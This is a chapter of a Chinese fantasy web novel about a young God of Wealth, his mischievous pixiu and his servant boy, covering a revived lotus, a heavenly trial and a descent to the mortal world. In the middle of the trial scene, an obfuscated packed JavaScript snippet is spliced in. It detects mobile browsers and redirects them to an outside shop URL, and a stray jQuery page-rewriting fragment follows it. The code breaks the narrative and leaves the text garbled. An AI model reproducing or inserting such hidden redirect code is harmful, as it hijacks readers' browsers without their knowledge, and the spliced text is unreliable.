“招招,你也太厉害了!这到底是怎么做到的?”
金铃激动得一把将小貔貅搂进怀里,脸颊贴着它银白顺滑的软毛,一下又一下地轻蹭。柔软的绒毛扫过稚嫩的面庞,满心的欢喜几乎要溢出来。
白璎婪被这突如其来的亲近弄得手足无措,两只小前爪轻轻抵着他的脸,只能“嗷嗷”地小声抗议。等金铃终于松开,它才发现自己的爪子和毛发上都沾了湿意。
抬眸一看,惊觉那是金铃的泪水。
金心莲曾为护上一任主人而枯萎,金铃心疼不已,便将它揣回承光殿悉心照料。试过无数法子,灵草仙露都用遍了,却始终没能让它重焕生机。
他怎么也想不到,这株枯莲竟会因貔貅的唾液重获新生。
白璎婪用小爪子抹了抹脸,满眼嫌弃地“嗷嗷”叫唤。
金铃听不懂它的兽语,只胡乱抹掉眼泪,依旧沉浸在狂喜之中:“招招,我真的太开心了!”
“何事这般喧闹?”
冷冽的声线自耳畔响起,白璎婪浑身一僵,像只受惊的小兽般微微耸肩,飞快将攥在手里的东西藏好。
这细微又反常的举动没能逃过赵玄章的眼。
他缓步走到小貔貅面前,目光落在它身上,带着几分“你又闯什么祸了”的审视。
白璎婪怔怔地望着他,一声不吭,只是将怀里的东西捂得更紧,半分不肯松手。
赵玄章薄唇紧抿,正欲上前查看,金铃却急匆匆冲了过来,小小的身子挡在一人一兽之间,激动地扬声喊道:“老大!招招救活了金心莲!”
哦?
赵玄章神色微变,眼底的锐利稍稍柔和了几分。
“是真的!你快看!”
金铃拉着他上前,赵玄章垂眸望去,只见那株早已枯败的金心莲果真抽出新叶,莲瓣泛着光泽。
这株灵植对金铃意义非凡,也难怪这孩子如此兴奋。
“不错,活了便好。”
“老大,你是来找我的?”
赵玄章本是被这边的动静引来,还以为是这小貔貅又惹了麻烦,赶来才知是自己多虑了。
他忽然想起什么,拎起衣袖肃然道:“金铃,我这衣袖上为何会有这般痕迹?”
“老大我看看!”金铃立刻紧张起来,“我清洗时格外仔细,若是还有污渍,我马上再洗一遍!”
他捻起衣袖凑近细看,反倒有些疑惑。
这哪里是污渍,分明像是一枚特殊的印记。
“咦?这似乎不是脏痕,看着倒像是什么印记,我先前清洗时并未发现。”
“印记?你瞧瞧能否洗去。”
“好……”
赵玄章正要再吩咐,余光瞥见一旁的白璎婪正围着重生的金心莲蹦蹦跳跳,压低了声音:“金铃。”
金铃学着他的语调小声应道:“老大?”
“多盯着点招招,看它是否偷拿东西,莫让它养成陋习。”
金铃刚要开口,就被赵玄章一个“嘘”声堵了回去。
只听他继续道:“此事你暗中留意便可,另外——”
赵玄章顿了顿,视线又不自觉飘向白璎婪,“还要留意它是否时常……呕吐。”
“呕吐?!”金铃瞬间慌了神,“招招是身子不舒服吗?”
“不是。”
“是吃不惯我做的吃食?”
“也不是……”
“那、那招招是有宝宝了,害喜吗?”
“……”
“孩子是谁的?是那火麒麟的吗?”
“闭嘴。”
赵玄章额角青筋微跳,扶着额角无奈道:“这些荒唐话,你都是从哪儿听来的?”
金铃一脸茫然,只觉自己说得没错:“我听凡间的姐姐婶婶说,女子有孕便会害喜,害喜就会恶心呕吐。”
“听着金铃,事情并非你所想的那般,你只需暗中帮我留意即可。”
金铃立刻站得笔直,连连点头:“明白!老大!”
自此,金铃便开启了针对白璎婪的秘密观察任务。
可越是观察,他便越觉得招招是只无比神奇的貔貅。
它能嗅出宝物的“财气”,还能将那气息比作各色吃食。千年灵芝是甜香的桂花糕,极品灵石是清冽的冰糖,龙族宝藏则是鲜醇的海鲜大餐……
白璎婪还嚷嚷着要展示这项“本事”,当即领着金铃腾上云端,寻了个辨宝的绝佳位置。
眨眼间,金铃便置身于一片云海之中。
他无奈轻叹:「招招,你何时才能不用神念同我说话?」
「等我化成人形呀。」
「那你何时才能化形?」
白璎婪笑他:「你且耐心等着,我都不急,你急什么?」
金铃见它小鼻子不停翕动,立刻好奇追问:「你闻到什么了?」
「唔……」
白璎婪闭眼一脸陶醉,活像个品鉴珍馐的美食家,只不过品鉴的是虚无的财气。
「东市有股烂芝麻味,西郊是新鲜蜂蜜味!」
「烂芝麻味是什么?」
白璎婪一本正经地解释:「就是假货,有人以次充好、鱼目混珠骗人。」
金铃惊道:「这人也太坏了!那蜂蜜味呢?」
「是有新矿脉的意思!」
「原来如此!招招你真厉害!要不我们玩交换秘密的游戏吧?我告诉你一个,你也告诉我一个,好不好?」
「可以是可以,但我说的,你绝对不能告诉别人。」
「嗯!我保证!」
「那你先说。」
金铃的神情瞬间沉了下来,小声道:「金心莲的上一任主人,也就是我从前的老大,在一次天庭行动里……牺牲了。」
这事算不上秘密,承光殿里人人皆知,白璎婪乖乖安慰他:「是个难过的故事,不过你现在的老大也很好呀!」
金铃眨眨眼:「该你了。」
白璎婪忽然凑过来,神神秘秘地压低声音:「我偷偷告诉你,上次我弄没了老大的金算盘时,偷偷藏了一颗崩落的算盘珠,还在上面刻了字!刚才老大突然过来,差点把我吓死,还以为被发现了呢。」
金铃满眼好奇:「刻了什么字?」
白璎婪狡黠一笑,晃了晃小脑袋:「这可是另一个秘密啦!」
*
凌霄偏殿,仙雾凝重。
众神分列两侧,携属官静立一旁,其中不乏面色不善者。
赵玄章心下一沉,无端生出几分不祥。
率先发难的是禄神弟子元棋,他手捧奏疏,声线冷硬:“启禀玉帝,赵玄章私自在人间滥赐横财,助长投机之风,引得凡间动荡、民心生怨,祸端皆由此起!”
闻言,赵玄章眉心蹙起。
自己确曾赐过一次财,可对象是一心营济四方的良善商人,何来“投机”一说?
更何况,自己赐予他的财微不足道,绝不可能为他带去杀生之祸!
他心中疑窦翻涌,面上却依旧持重,未敢先露半分不满。
寿神随之展开手中生死玉册,语气透几分无奈:“玄章,你可知,被你赐财的商人万才昨日横尸山涧?”
赵玄章拧紧眉头:“什么?”
“正是。”
不等赵玄章开口辩解,文财神弟子沈万仙立刻上前附和,语气笃定。
“我看偷偷赐财这事,少财神也不是第一次干了。您说您只赐了正财,可万才暴富后,周边三家商户接连破产,家主相继悬梁。这笔账,您打算怎么算?”
“正因你胡乱施财,凡间因财殒命者陡增,凡界平均寿命及综合幸福点数连日大跌。人间为财相争、乱象丛生,皆是因你而起!”
赵玄章眼神凌厉,“无凭无据,你休要在此胡诌夸大其词!”
“少财神未调查清楚便胡乱赐财,这已是事实!”元棋转身质问道:“赵玄章,你可知那商人是身负诅咒之人?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495200|202454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玉帝目光落在赵玄章身上,静顿数息,方才正色开口:“少财神,你有何话说?”
殿上众仙早已面露愠色,皆等着他的回应。赵玄章身姿挺直,神色清冷,不见半分慌乱。
“我确实曾为凡间一名商人赐过财。”
一语落下,殿内顿时哗然,议论声四起。
赵玄章抬眸,不顾周遭纷扰,扬声续道:“但——”
“众仙家安静。”
玉帝一声轻斥,喧闹当即敛去。
赵玄章这才继续道:“此人良善本分,一生以货通万民、流转财气为念,绝非奏疏中所谓的投机之徒。”
“赐财后,我才察觉,其家族身负旧神昔年所下的‘财库破漏’因果诅咒。按天庭规制,我本应先协同寿神查阅生死簿、追溯因果根源,再请禄神调整其事业轨迹,从根本化解诅咒。”
“是我急于助他脱困,未循流程,径直赐下财气,处置确有失当。”
说到此处,赵玄章眸色一沉,冷锐渐显:“可我只赐了助他安稳营生的正财,绝非足以搅乱凡界市场的巨额横财!如今这般失衡的乱象,绝非我所为。分明是有人暗中栽赃嫁祸,借题发挥,欲将所有罪责尽数推到我身上。”
殿内一时寂然。
赵玄章躬身,语气郑重,掷地有声。
“此事我确有处置不妥之过,甘愿依天庭规制领罚。但背后栽赃、扰乱三界财序之人,我必彻查到底。三日之内,定给玉帝、给众神一个清清楚楚的交代!”
*
“我们要下凡。”
赵玄章踏入承光殿,开口便是这一句。
金铃一边疑惑地替他们整理行囊,一边轻声问道:“出什么事了,这般着急下凡?你们才回来没多久呢。”
赵玄章语气简淡:“有些事需下去处置,你好生看家。”
“好。”
“招招,金宝,随我来。”
此番落脚之地,与上回截然不同。
相较于幽深静谧的荒林,眼前人声鼎沸的集市,反倒更有几分人间烟火气。
白璎婪嘟囔:「我已经乖了不少,怎么这次又要我跟着下凡……老大,你老把我拴在身边做什么?」
赵玄章淡淡二字:「辟邪。」
白璎婪一噎:「你都是神仙了,还用得着辟邪?」
赵玄章斜睨:「你不知道,我很受欢迎?」
金宝好奇:「我们三个人都能一同进神念吗?那四个、五个是不是也可以?」
白璎婪:「招招不会让讨厌之人入我神念。」
金宝看向赵玄章,欲言又止。
「少主,我们这次当真是落错地方了,你上次不是说,下凡不能让凡人窥见么,现在好多人都在围着我们看呢,招招也没变成小白猫……」
赵玄章骤然睁眼,只觉眼前光影纷乱,竟是被一圈百姓围得水泄不通。
众人交头接耳,目光频频落在他周身服饰之上,视线最后更是齐刷刷定在了脚边那团白色毛茸茸的身影上。
“你瞧这小家伙,模样生得特别,头型似狮,身形又像虎!”
“我看更像貔貅,那神韵绝了!”
“貔貅?!”
“啊啊啊真是貔貅!这般可爱,快些瞧瞧!”
人群中忽然有人拔高了声音:“哎,旁边那个男的是谁?”
赵玄章暗自咋舌,二话不说伸手拎起白璎婪,抽身尽快离开这是非之地,寻个安稳的落脚之处。
方才落地时走得太过匆忙,他竟忘了将小貔貅化作寻常白猫模样。
他家招招乃是瑞兽真身,尚未完全化形,绝不能被别有用心之徒窥见。
怀中小貔貅却是一脸恹恹,四条小短腿耷拉着,明显不想变回小猫的模样。
变成小猫哪里是闹着玩的,既要讨食又要如厕。最让它羞恼的,是那拉撒之事……
它实在还未习惯这副凡俗肉身的生理规矩。